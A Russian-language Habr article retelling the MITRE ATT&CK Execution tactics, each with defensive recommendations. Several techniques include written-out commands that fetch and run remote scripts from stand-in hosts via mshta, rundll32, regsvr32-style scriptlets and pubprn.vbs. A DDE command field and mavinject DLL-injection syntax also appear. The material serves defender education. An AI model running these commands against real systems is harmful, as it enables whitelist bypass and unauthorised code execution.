Изучаем Adversarial Tactics, Techniques & Common Knowledge (ATT@CK). Enterprise Tactics. Часть 2

habr.com/ru/articles/424027

Андрей Макеев

Выполнение (Execution)

Ссылки на все части:

Фаза «Выполнение (Execution)», описывает применение злоумышленниками средств и методов удаленного и локального выполнения в атакуемой системе различных команд, сценариев и исполняемых файлов, которые были доставлены в неё на предыдущем этапе.

Автор не несет ответственности за возможные последствия применения изложенной в статье информации, а также просит прощения за возможные неточности, допущенные в некоторых формулировках и терминах. Публикуемая информация является свободным пересказом содержания MITRE ATT&CK.

AppleScript

Система: macOS
Права: Пользователь
Описание: Язык AppleScript имеет возможность работы с Apple Event — сообщениями, которыми обмениваются приложения в рамках межпроцессного взаимодействия (IPC). С помощью Apple Event можно взаимодействовать практически с любым приложением, открытым локально или удаленно, вызывать такие события как открытие окон и нажатие клавиш. Скрипты запускаются с помощью команды: *Osascript -e <скрипт>*.
Злоумышленники могут использовать AppleScript для скрытого открытия SSH-соединений с удаленными хостами, предоставления пользователям поддельных диалоговых окон. AppleScript также может использоваться в более распространенных типах атак, например, организации Reverse Shell.

Рекомендации по защите: Обязательная проверка запускаемых сценариев AppleScript на наличие подписи доверенного разработчика.

CMSTP(AppLocker ByPass — CMSTP)

Система: Windows
Права: Пользователь
Описание:Microsoft Connection Manager Profile Installer (cmstp.exe) — это встроенная в Windows утилита «Установщик профилей диспетчера подключений». Cmstp.exe может принимать в качестве параметра inf-файл, поэтому злоумышленник может подготовить специальный вредоносный INF для загрузки и выполнения DLL или скриптлетов (*.sct) с удаленных серверов в обход AppLocker и других блокировок, поскольку cmstp.exe подписан цифровым сертификатом Microsoft.

Рекомендации по защите: Блокирование запуска потенциально-опасных приложений. Мониторинг запусков *C:\Windows\System32\cmstp.exe*.

Интерфейс командной строки (Command-Line Interface)

Система: Windows, Linux, macOS
Права: Пользователь, Администратор, System
Описание: С интерфейсом командной строки можно взаимодействовать локально, удаленно через ПО для удаленного доступа, посредством Reverse Shell и т.п. Команды выполняются с текущим уровнем разрешений процесса интерфейса командной строки, если команда не включает вызов процесса, который изменяет разрешения для выполнения команды (например, запланированная задача).

Рекомендации по защите: Аудит и/или блокировка командной строки с помощью таких средств как AppLocker или политик ограниченного использования программ.

Элементы панели управления (Windows Control Panel Items)

Система: Windows
Права: Пользователь, администратор, System
Описание: Тактика заключается в использовании злоумышленниками элементов панели управления Windows для выполнения в качестве полезной нагрузки произвольных команд (например, вирус *Reaver*). Вредоносные объекты могут быть замаскированы под стандартные элементы управления и доставлены в систему с помощью фишинговых вложений. Служебные программы для просмотра и настройки параметров Windows представляют собой зарегистрированные exe-файлы и CPL-файлы элементов панели управления Windows. CPL-файлы фактически являются переименованными DLL-библиотеками, которые можно запускать следующими способами:

- непосредственно из командной строки: *control.exe* ***<file.cpl>***;
- с помощью API-функций из shell32.dll: *rundll32.exe shell32.dll,Control_RunDLL* ***<file.cpl>***;
- двойным щелчком мыши по cpl-файлу.

Зарегистрированные CPL, хранящиеся в System32, автоматически отображаются в Панели управления Windows и имеют уникальный идентификатор, хранящийся в реестре:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace

Сведения о других CPL, например, отображаемое имя и путь к cpl-файлу хранятся в подразделах *«Cpls»* и *«Extended Properties»* раздела:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel

Некоторые CPL, запускаемые через командную оболочку, зарегистрированы в разделе:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Controls Folder ***{name}****\shellex\PropertySheetHandlers*

Рекомендация по защите: Ограничение запуска и хранения файлов элементов панели управления только в защищенных папках (например, *C:\Windows\System32*), включение контроля учетных записей (UAC) и AppLocker для предотвращения несанкционированных изменений в системе. Само собой, применение антивирусного ПО.

Протокол Dynamic Data Exchange (DDE), Macro-less Code Exec in MSWord

Система: Windows
Права: Пользователь
Описание: DDE — протокол взаимодействия приложений, которые совместно используют данные и общую память для обмена сообщениями. Например, в документе Word может содержаться таблица, автоматически обновляемая из документа Excel. Техника заключается в эксплуатации уязвимости в приложениях MS Office, связанной с использованием в MS Office протокола DDE. Злоумышленники могут встраивать в документы MS Office объекты, содержащие команды, которые будут исполнены при открытии документа. Например, документ Word может содержать объект Field (Поле), в значении которого указана команда *{DDEAUTO <команда, например, c:\windows\system32\cmd.exe>}*, которая будет исполнена при открытии документа. Несмотря на утрату актуальности DDE может быть включен, в том числе, в Windows 10 и MS Office 2016, с помощью ключа:
AllowDDE (DWORD) = 2 в разделе реестра:
HKEY_CURRENT_USER\Software\Microsoft\Office ***<версия Office>****\Word\Security*.

Рекомендации по защите: Следуйте *рекомендациям Microsoft* и установите соответствующее *обновление MS Office*. В Windows 10 можно так же включить параметр *Attack Surface Reduction (ASR)*, чтобы защититься от DDE-атак и порождения дочерних процессов приложениями MS Office.

Выполнение через API (Execution through API)

Система: Windows
Права: Пользователь, администратор, System
Описание: Злоумышленники могут использовать интерфейс API для исполнения двоичных файлов. Такие API-функции, как CreateProcess, позволяют программам и скриптам запускать процессы с указанием необходимых путей и аргументов. API-функции, которые могут быть использованы для выполнения двоичных файлов:

- CreateProcessA(), CreateProcessW();
- CreateProcessAsUserA(), CreateProcessAsUserW();
- CreateProcessInternalA(), CreateProcessInternalW();
- CreateProcessWithLogonW(), CreateProcessWithTokenW();
- LoadLibraryA(), LoadLibraryW();
- LoadLibraryExA(), LoadLibraryExW();
- LoadModule();
- LoadPackagedLibrary();
- WinExec();
- ShellExecuteA(), ShellExecuteW();
- ShellExecuteExA(), ShellExecuteExW().

Рекомендации по защите: Вызовы функций API — это обычное явление, которое трудно отличить от вредоносной активности. Вектор защиты нужно направлять на предотвращение запуска инструментов злоумышленника в начале цепочки атаки, выявление вредоносного поведения и блокирование потенциально-опасного ПО.

Выполнение через загрузчик модулей Windows (Execution through Module Load)

Система: Windows
Права: Пользователь
Описание: Выполнение кода возможно организовать с помощью загрузчика модулей Windows — NTDLL.dll, который может загрузить DLL-библиотеку по произвольному локальному или сетевому пути. NTDLL.dll является частью API Windows и может вызывать такие функции как *CreateProcess ()* и *LoadLibrary ()*.

Рекомендации по защите: Вызовы функций API — это штатный функционал ОС, который трудно отличить от вредоносной активности. Вектор защиты необходимо направлять на предотвращение запуска инструментов злоумышленника в начале цепочки атаки. имеет смысл рассмотреть возможность ограничения загрузки DLL каталогами *%SystemRoot%* и *%ProgramFiles%*.

Выполнение с помощью эксплойтов (Exploitation for Client Execution)

Система: Windows, Linux, macOS
Права: Пользователь
Описание: Техника предполагает удаленное выполнение кода с помощью эксплойтов в пользовательском ПО. Наличие уязвимостей в ПО зачастую связано с нарушением разработчиками софта требований безопасного программирования, что в конечном итоге приводит к возможности вызвать непредвиденное поведение ПО. Рассмотрим некоторые типы эксплойтов:

- Эксплойты браузеров. Веб-браузеры являются целью при применении злоумышленниками теневой загрузки и фишинговых ссылок. Атакуемая система может быть скомпрометирована через обычный браузер после выполнения пользователем определенных действий, например, перехода по ссылке, указанной в фишинговом письме.
- Эксплойты офисных приложений. Вредоносные файлы передаются в виде вложений или ссылок на скачивание. Для эксплуатации уязвимости пользователь должен открыть документ или файл для запуска эксплойта.
- Эксплойты приложений сторонних производителей. Распространенные приложения, такие как Adobe Reader и Flash, часто используемые в корпоративных средах, являются мишенью для злоумышленников. В зависимости от ПО и характера уязвимости эксплуатация уязвимостей происходит в браузере или при открытии пользователем файла, например, объекты Flash могут доставляться в документах MS Office.

Рекомендации по защите: Своевременная установка обновлений используемых приложений. Применение всевозможных средств изоляции потенциально уязвимых приложений – песочниц, средств микросегментации и виртуализации, например, *Sandboxie* для Windows и Apparmor, Docker для Linux. Так же рекомендуется применение

систем защиты от эксплойтов, например, *Windows Defender Exploit Guard (WDEG)* для Windows 10 или Enhanced Mitigation Experience Toolkit (EMET) для более ранних версий Windows.

Графический интерфейс пользователя (Graphical User Interface)

Система: Windows, Linux, macOS
Права: Пользователь, администратор, system
Описание: Запуск исполняемого файла или сценария происходит при взаимодействии с файлом через графический интерфейс пользователя (GUI) в интерактивном или удаленном сеансе, например, по протоколу RDP.

Рекомендации по защите: Защищайте учетные данные, которые могут быть использованы для удаленного подключения в систему. Выявляйте ненужные системные утилиты, ПО сторонних разработчиков, которые могут быть использованы для входа в интерактивный удаленный режим.

InstallUtil

Система: Windows
Права: Пользователь
Описание: InstallUtil — утилита командной строки Windows, которая может устанавливать и удалять приложения, соответствующие спецификациям .NET Framework. Installutil автоматически устанавливается вместе с VisualStudio. Файл InstallUtil.exe подписан сертификатом Microsoft и хранится в:
C:\Windows\Microsoft.NET\Framework\v[version]\InstallUtil.exe
Злоумышленники могут использовать функционал InstallUtil для прокси-выполнения кода и обхода белых списков приложений.

Рекомендации по защите: Возможно в вашей системе не используется InstallUtil, поэтому рассмотрите возможность блокировки запуска InstallUtil.exe.

Драйверы LSASS (LSASS Driver)

Система: Windows
Права: Администратор, system
Описание: Local Security Authority (LSA) — подсистема Windows, обеспечивающая аутентификацию пользователя. LSA включает несколько динамических взаимосвязанных библиотек DLL, которые выполняются в процессе LSASS.exe. Злоумышленники могут атаковать LSASS.exe путем замены или добавления нелегитимных драйверов LSA с последующим выполнением произвольного кода. Техника реализована во вредоносных программах Pasam и Wingbird, которые «подбрасывают» модифицированные DLL, используемые при загрузке LSASS. При этом вредоносный код выполняется до того, как нелегитимная DLL вызовет сбой и последующее падение службы LSASS.

Рекомендации по защите: В Windows 8.1 и Windows Server 2012 R2 включите защиту LSA путём установки ключа реестра:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL
в значение *dword:00000001*

Эта защита гарантирует, что загружаемые LSA плагины и драйверы будут подписаны цифровой подписью Microsoft. В Windows 10 и Server 2016 включите *Windows Defender Credential Guard* для запуска lsass.exe в изолированной виртуальной среде. Включите режим безопасного поиска DLL для снижения риска загрузки в lsass.exe вредоносных библиотек:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode.

Launchctl

Система: macOS
Права: Пользователь, администратор
Описание: Launchctl — утилита для управления сервисом Launchd. С помощью Launchctl можно управлять системными и пользовательскими сервисами (LaunchDeamons и LaunchAgents), а также выполнять команды и программы. Launchctl поддерживает подкоманды в командной строке, интерактивные или перенаправленные со стандартного ввода:

launchctl submit -l [labelname] — /Path/to/thing/to/execute "arg" "arg" "arg".
Запуская и перезапуская сервисы и демоны злоумышленники могут выполнить код и даже обойти белый список, если launchctl является разрешенным процессом, однако загрузка, выгрузка и перезагрузка сервисов и демонов может требовать повышенных привилегий.

Рекомендации по защите: Ограничение прав пользователей на создание Launch Agents и запуск Launch Deamons с помощью групповой политики. С помощью приложения *KnockKnock* можно обнаружить программы, которые используют launchctl для управления Launch Agents и Launch Deamons.

Выполнение с помощью локального планирования задач (Local Job Scheduling)

Система: Linux, macOS
Права: Пользователь, администратор, root
Описание: Злоумышленники могут создать в атакуемых системах задания для несанкционированного запуска программ при загрузке системы или по расписанию. В системах Linux и Apple поддерживается несколько методов планирования запуска периодических фоновых задач: cron, at, launchd. В отличие от Планировщика задач Windows, планирование заданий в Linux-системах невозможно осуществить удаленно, за исключением использования удаленных сеансов типа SSH.

Рекомендации по защите: Ограничение прав пользователей на создание планируемых заданий, блокировка системных утилит и другого ПО, которое может использоваться для планирования заданий.

Mshta

Система: Windows
Права: Пользователь
Описание: Mshta.exe (расположена в *C:\Windows\System32*) — это утилита, которая выполняет приложения Microsoft HTML (*.HTA). HTA-приложения выполняются с использованием тех же технологий, которые использует InternetExplorer, но вне браузера. В связи с тем, что Mshta обрабатывает файлы в обход настроек безопасности браузера злоумышленники могут использовать mshta.exe для прокси-выполнения вредоносных HTA-файлов, Javascript или VBScript. Вредоносный файл можно запустить через встроенный скрипт:
mshta vbscript:Close(Execute(«GetObject(»«script:https[:]//webserver/payload[.]sct»")"))

или напрямую, по URL-адресу:
mshta http[:]//webserver/payload[.]hta

Рекомендации по защите: Функциональность mshta.exe связана со старыми версиями IE, достигшими конца жизненного цикла. Блокируйте Mshta.exe, если не используете его функциональность.

PowerShell

Система: Windows
Права: Пользователь, администратор
Описание: PowerShell (PS) — это мощный интерактивный интерфейс командной строки и среда для выполнения сценариев, включенная в систему Windows. Злоумышленники могут использовать PS для сбора информации и выполнения кода. Для примера, командлет Start-Process может запустить исполняемый файл, командлет Invoke-Command выполнит команду локально или на удаленном компьютере. PS также можно использовать для загрузки и запуска исполняемых файлов из интернета, без сохранения их на жесткий диск. Для удаленных подключений с помощью PS требуются права администратора. Существует целый ряд инструментов для атак на PS:

- *Empire*
- *PowerSploit*
- *PSAttack*

Рекомендации по защите: PS можно удалить из системы, если в нём нет необходимости. Если PS требуется, то следует ограничить возможность его запуска администраторами и выполнением только подписанных сценариев. Отключите службу WinRM, чтобы предотвратить удаленное выполнение PS-скриптов. Следует отметить, что существуют методы обхода политик выполнения PS-скриптов.

Regsvcs/Regasm

Система: Windows
Права: Пользователь, администратор
Описание: Regsvcs и Regasm — это служебные утилиты Windows, используемые для регистрации в системе сборок .NET Component Object Model (COM). Оба файла подписаны цифровой подписью Microsoft. Злоумышленники могут использовать Regsvcs и Regasm для прокси-выполнения кода, когда в качестве атрибута указывается код, который должен быть запущен до регистрации или отмены регистрации: [ComRegisterFunction] или [ComUnregisterFunction]. Код с такими атрибутами может быть запущен даже если процесс выполняется с недостаточными привилегиями или вовсе «падает» при старте.

Рекомендации по защите: Заблокируйте Regsvcs.exe и Regasm.exe если они не используются в вашей системе или сети.

Regsvr32 (Squiblydoo)

Система: Windows
Права: Пользователь, администратор
Описание: Regsvr32.exe — это консольная утилита для регистрации и отмены регистрации в реестре элементов управления OLE, например, ActiveX и DLL-библиотек. Regsvr32.exe подписан цифровой подписью Microsoft и может использоваться для прокси-выполнения кода. Например, с помощью Regsvr32 можно загрузить XML-файл, содержащий куски Java-кода (скриплеты), которые будут выполнены в обход белого списка.

Рекомендации по защите: Attack Surface Reduction (ASR) в EMET и Advanced Theart Protection в Защитнике Windows могут обеспечить блокировку использования Regsvr32.exe для обхода белых списков.

Rundll32 (Poweliks)

Система: Windows
Права: Пользователь
Описание: Rundll32.exe — это системная утилита для запуска программ, находящихся в динамически подключаемых библиотеках, может вызываться для прокси-выполнения двоичного файла, выполнения файлов элементов управления Windows (.cpl) через недокументированные функции shel32.dll — *Control_RunDLL* и *Control_RunDLLAsUser*. Двойной клик по файлу .cpl также вызывает выполнение Rundll32.exe. Rundll32 также может использоваться для выполнения сценариев, таких как JavaScript:
rundll32.exe
javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject(«scrirpt:https[:]//www[.]example[.]com/malicious.sct»)"
Вышеописанный метод использования rundll32.exe детектируется антивирусным программным обеспечением, как вирус типа Poweliks.
Рекомендации по защите: Attack Surface Reduction (ASR) в EMET и Advanced Theart Protection в Защитнике Windows могут обеспечить блокировку использования Rundll32.exe для обхода белых списков.

Выполнение с помощью планирования задач Windows (Scheduled Task)

Система: Windows
Права: Пользователь, администратор, система
Описание: Такие утилиты как at, schtasks и Планировщик задач Windows могут использоваться для планирования запуска программ и сценариев, которые будут выполнятся в определенную дату и время. Задачу можно запланировать в удаленной системе, при условии, что для проверки подлинности используется RPC и включен общий доступ к принтерам и файлам. Кроме того, для планирования задач в удаленной системе требуются права администратора. Злоумышленники могут использовать удаленное планирование задач для выполнения программ при старте системы или в контексте определенной учетной записи.

Рекомендации по защите: Включите ограничение прав на создание заданий пользователями от имени System в реестре:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl = 0
Примечание: SubmitControl = 1, разрешит создавать задания членам группы Server Operators.

Также выполните соответствующую конфигурацию GPO:
Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks: disabled

Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority
Рассмотрите целесообразность применения в своей деятельности PowerSploit Framework, который содержит модуль PowerUP для поиска уязвимостей в разрешениях запланированных задач.

Скриптинг (Scripting)

Система: Windows, Linux, macOS
Права: Пользователь
Описание: Злоумышленники могут использовать скрипты для автоматизации своих действий, ускорения операционных задач и, как следствие, сокращения времени, необходимого для получения доступа. Некоторые скриптовые языки могу использоваться для обхода механизмов мониторинга процессов путем непосредственного взаимодействия с ОС на уровне API вместо вызова других программ. Скрипты могут быть встроены в документы Office в виде макросов и затем использованы для фишинговой атаки. В этом случае злоумышленники рассчитывают на запуск пользователем файла с макросом или на то, что пользователь согласится активировать макрос. Существует несколько популярных фреймворков для реализации скриптинга — Metasploit, Veil, PowerSploit.

Рекомендации по защите: Ограничивайте доступ к сценариям, таким как VBScript или PowerShell. В Windows настройте параметры безопасности MS Office включив защищенный просмотр и запрет макросов через GPO. Если макросы нужны, то разрешите запуск только подписанных доверенной цифровой подписью макросов. Применяйте микросегментацию и виртуализацию приложений, например, Sandboxie для Windows и Apparmor, Docker для Linux.

Запуск служб (Service Execution)

Система: Windows
Права: Администратор, System
Описание: Злоумышленники могут выполнить двоичный код, команду или скрипт с помощью специальных методов взаимодействия со службами Windows, например, с помощью *Диспетчера управления службами (SCM)* можно создавать новые сервисы и модифицировать запущенные.

Рекомендации по защите: Убедитесь, что текущая настройка прав в системе запрещает запуск служб с высокими привилегиями пользователями с низкими привилегиями. Убедитесь, что исполняемые файлы с высоким уровнем разрешений в системе не могут быть заменены или изменены пользователями с более низким уровнем разрешений. Рассмотрите возможность применения средств ограничения запуска потенциально-опасных программ с помощью AppLocker и настройки политик ограничения программного обеспечения (*Software Restriction Policies*).

Выполнение через подписанные бинарники (Signed Binary Proxy Execution)

Система: Windows
Права: Пользователь
Описание: Бинарные файлы, подписанные доверенными цифровыми сертификатами, могут выполняться в системах Windows, защищенных проверкой цифровой подписи. Несколько файлов Microsoft, подписанных по умолчанию при установке Windows, могут быть использованы для проксирования запуска других файлов:
Mavinject.exe — это утилита Windows, которая позволяет выполнять код. Mavinject может использоваться для ввода DLL в запущенный процесс:
«C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe» [PID] /INJECTRUNNING [PATH DLL]
C:\Windows\system32\mavinject.exe [PID] /INJECTRUNNING [PATH DLL]
SyncAppvPublishingServer.exe — может использоваться для запуска powershell-скриптов без запуска powershell.exe.
Существует ещё *несколько аналогичных бинарников*.

Рекомендации по защите: Многие подписанные файлы могут не использоваться в вашей системе, поэтому рассмотрите возможность блокирования их запуска.

Выполнение через подписанные сценарии (Signed Script Proxy Execution)

Система: Windows
Права: Пользователи
Описание: Скрипты, подписанные доверенными сертификатами, могут использоваться для проксирования

вредоносных файлов, например, файл *PubPrn.vbs* подписан сертификатом Microsoft и может использоваться для запуска файла с удаленного сервера:
cscript C:\Windows\System32\Printing_Admin_Scripts\ru-RU\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png

Рекомендации по защите: Подобные подписанные скрипты могут не требоваться в вашей системе, поэтому рассмотрите возможность блокирования их запуска.

Команда Source

Система: Linux и macOS
Права: Пользователь
Описание: Source — команда, которая позволяет прочитать и выполнить все команды из указанного файла в текущей командной оболочке, это значит, что все заданные переменные окружения будут видны во всех скриптах и командах, которые будут запускаться. Source можно запустить двумя способами:
source /path/to/filename [arguments] или *. /path/to/filename [arguments]*
Обратите внимание на пробел после точки. Без пробела программа будет запущена в новой командной оболочке. Злоумышленники могут использовать Source для выполнения файлов, непомеченных флагом «x», как исполняемые.

Рекомендации по защите: Предотвратить использование в системе встроенных команд довольно непросто в виду их легальности, поэтому вектор защиты необходимо направить на предотвращение вредоносных действий на более ранних этапах атаки, например, на стадии доставки или создания вредоносного файла в системе.

Пробел после имени файла (Space after Filename)

Система: Linux, macOS
Права: Пользователь
Описание: Злоумышленники могут скрывать истинный тип файла, изменяя его расширение. При определённых типах файлов (не работает с файлами .app) добавление символа пробела в конец имени файла изменит способ обработки файла операционной системой. Например, если есть исполняемый файл Mach-O с именем evil.bin, то при двойном щелчке пользователем ОС запустит Terminal.app и выполнит его. Если этот же файл переименовать в evil.txt, то при двойном щелчке он запуститься в текстовом редакторе. Однако, если файл переименовать в «evil.txt » (пробел в конце), то при двойном щелчке тип истинного файла определиться ОС и запустится двоичный файл. Злоумышленники могут использовать эту технику для обмана пользователя и запуска им вредоносного исполняемого файла.

*Рекомендации по защите: И*спользование этой техники трудно предотвратить, т.к. злоумышленник использует штатные механизмы работы ОС, поэтому вектор защиты необходимо направить на предотвращение вредоносных действий на более ранних этапах атаки, например, на стадии доставки или создания вредоносного файла в системе.

Выполнение с помощью стороннего ПО для администрирования сети (Third-party Software)

Система: Windows, Linux, macOS
Права: Пользователь, администратор, System
Описание: Вектор атаки направляется на стороннее ПО и системы развертывания ПО, которые используются в атакуемой сети для нужд администрирования (SCCM, VNC, HBSS, Altris и т.п.). В случае получения злоумышленником доступа к таким системам противник получает возможность удаленного запуска кода на всех хостах, подключенных к системе развертывания ПО. Права, необходимые для реализации данной техники зависят от конкретной конфигурации систем. Локальных учетных данных может быть достаточно для доступа к серверу развертывания ПО, однако для запуска развертывания ПО может потребоваться учетная запись администратора.

Рекомендации по защите: Проверяйте уровень безопасности применяемых систем развертывания ПО. Убедитесь, что доступ к системам управления ПО ограничен, контролируется и защищен. Строго используйте политики обязательного предварительного одобрения удаленного развертывания ПО. Предоставляйте доступ к системам развертывания ПО ограниченному числу администраторов, обеспечьте изоляцию системы развертывания ПО. Убедитесь, что учетные данные для доступа системе развертывания ПО уникальны и не используются в других сервисах корпоративной сети. Если система развертывания ПО настроена на запуск только подписанных двоичных файлов, то проверьте, что доверенные сертификаты не хранятся в самой системе развертывания ПО, а расположены в системе, удаленный доступ к которой невозможен.

Команда Trap

Система: Linux, macOS
Права: Пользователь, администратор
Описание: Команда trap служит для защиты скрипта от прерываний (ctrl+c, ctrl+d, ctrl+z и т.п.). Если скрипт получает сигнал о прерывании, указанном в аргументах команды trap, то он обрабатывает сигнал прерывания самостоятельно, при этом командная оболочка такой сигнал обрабатывать не будет. Злоумышленники могут использовать trap для регистрации кода, который будет выполняться при получении командной оболочкой определенных сигналов прерываний.

Рекомендации по защите: Использование этой техники трудно предотвратить, потому что злоумышленник использует штатные механизмы работы ОС. Вектор защиты следует направить на предотвращение вредоносных действий на более ранних этапах атаки, например, на стадии доставки или создания вредоносного файла в системе.

Выполнение через доверенные утилиты разработчиков софта (Trusted Developer Utilities)

Система: Windows
Права: Пользователь
Описание: Существует множество утилит, которые используются разработчиками ПО и которые могут быть использованы для выполнения кода в различной форме при разработке, отладке и реверс-инжиниринге ПО. Эти утилиты часто подписаны цифровыми сертификатами, которые позволяют им выполнять в ОС проксирование вредоносного кода в обход защитных механизмов и белых листов приложений.

MSBulid — это платформа для создания ПО, используемая в Visual Studio. Она использует проекты в виде XML-файлов, которые описывают требования для построения различных платформ и конфигураций. MSBuild из .NET версии 4 позволяет вставить код C# в XML-проект, скомпилировать его и затем выполнить. MSBulid.exe подписан цифровым сертификатом Microsoft.
DNX — .Net Execution Environmant (dnx.exe) представляет собой набор для разработки ПО (development kit) в составе Visual Studio Enterprise. Упразднен начиная с .NET Core CLI в 2016 году. DNX отсутствует в стандартных сборках Windows и может присутствовать только на хостах разработчиков при использовании .Net Core и ASP.NET Core 1.0. Dnx.exe подписан цифровым сертификатом и может использоваться для прокси-выполнения кода.
RCSI — не интерактивный командный интерфейс для C#, похож на csi.exe. Был представлен в ранней версии платформы компилятора Roslyn .Net. Rcsi.exe подписан цифровым сертификатом Microsoft. Файлы сценариев C# .csx могут быть записаны и выполнены с помощью Rcsi.exe в командной строке Windows.
WinDbg/CDB — это ядро MS Windows и утилита для отладки в режиме user-mode. Отладчик консоли Microsoft cdb.exe также является отладчиком в режиме user-mode. Обе утилиты могут использоваться как автономные инструменты. Обычно используются при разработке ПО, реверс-инжиниринге и не могут быть найдены в обычных системах Windows. Оба файла WinDbg.exe и CDB.exe подписаны цифровым сертификатом Microsoft и могут использоваться для проксирования кода.
Tracker — утилита отслеживания файлов tracker.exe. Включена в .NET как часть MSBuild. Используется для регистрации вызовов в файловой системе Windows 10. Злоумышленники могут использовать tracker.exe для выполнения DLL в различных процессах. Tracker.exe также подписан сертификатом Microsoft.

Рекомендации по защите: Все вышеописанные файлы подлежат удалению из системы, если они не используются по прямому назначению пользователями.

Выполнение пользователем (User Execution)

Система: Windows, Linux, macOS
Права: Пользователь
Описание: Злоумышленники могут рассчитывать на определенные действия пользователя с целью выполнения им определенных действий. Это может быть прямое выполнение кода, когда пользователь открывает вредоносный исполняемый файл, доставленный в виде фишингового вложения с иконкой и видимым расширением файла документа. Иногда, могут быть использованы и иные техники, например, когда пользователь нажимает на ссылку в фишинговом письме, что приводит к эксплуатации уязвимости браузера. Техника «выполнение пользователем» часто применяется на других стадиях вторжения, например, когда злоумышленник помещает файл в общий каталог или на рабочий стол пользователя, рассчитывая на то что тот «нажмет» на него.

Рекомендации по защите: Повышение осведомленности пользователей. Блокировка загрузки таких файлов, как .scr, .exe, .pif, .cpl и т.д. Применение антивирусного ПО и внедрение IPS-систем.

Windows Management Instrumentation (WMI)

Система: Windows
Права: Пользователь, администратор
Описание: WMI — это инструментарий для администрирования Windows, который обеспечивает возможность локального и удаленного доступа к системным компонентам Windows. WMI использует SMB и RPCS (работает на порту 135). Злоумышленники могут использовать WMI для взаимодействия с локальными и удаленными системами, а также в качестве средства для выполнения многих тактических операций, таких как сбор информации на этапе обзора ресурсов (discovery) и удаленного выполнения файлов в ходе «продвижения в стороны» (literal movement).

Рекомендации по защите: Отключение WMI и RPCS может привести к нестабильности системы. По умолчанию, только администраторы могут удаленно подключаться к системе по WMI. Предотвратите совпадение прав у административных и других привилегированных учетных записей.

Windows Remote Management (WinRM)

Система: Windows
Права: Пользователь, администратор
Описание: Windows Remote Management (WinRM) — это имя службы и протокола, который позволяет удаленное взаимодействие пользователя с системой (например, запуск файла, изменение реестра, изменение службы. Для запуска используется команда winrm и другие программы, такие как PowerShell. *Рекомендации по защите:* Отключите службу WinRM. Если она необходима, то изолируйте инфраструктуру с WinRM с отдельными учетными записями и разрешениями. Следуйте *рекомендациям WinRM* по настройке методов проверки подлинности и использованию брандмауэров хоста, чтобы разрешить доступ к WinRM только с определенных устройств.